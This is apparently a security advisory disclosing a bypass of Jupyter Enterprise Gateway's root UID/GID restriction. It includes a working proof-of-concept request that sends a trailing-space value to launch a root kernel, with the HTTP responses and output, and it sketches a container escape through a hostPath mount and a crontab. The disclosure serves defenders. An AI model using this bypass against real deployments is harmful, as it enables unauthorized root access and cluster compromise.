Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass

Summary

Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.

The feature is described in the documentation:

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769

Details

The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30

The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).

The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.

PoC

How it is meant to work

Trying 0 gets denied, as expected.

xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'

HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
 Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff

{
    "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
    "message": ""
}

Exploit bypassing the checks

Using 0 with a trailing space, bypasses the check.

xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'

HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
 Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
 Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff

{
    "id": "17eee032-994f-4dd2-8ade-87169c300a40",
    "name": "python_kubernetes",
    "last_activity": "2025-07-14T14:15:21.468155Z",
    "execution_state": "starting",
    "connections": 0
}

The pod is successfully scheduled.

Inspecting the container we can see it is running as root:

kubectl exec -it pod/bdawg -- bash

(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)

If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).

Impact

This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNEL_UID and KERNEL_GID variables with the EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS feature.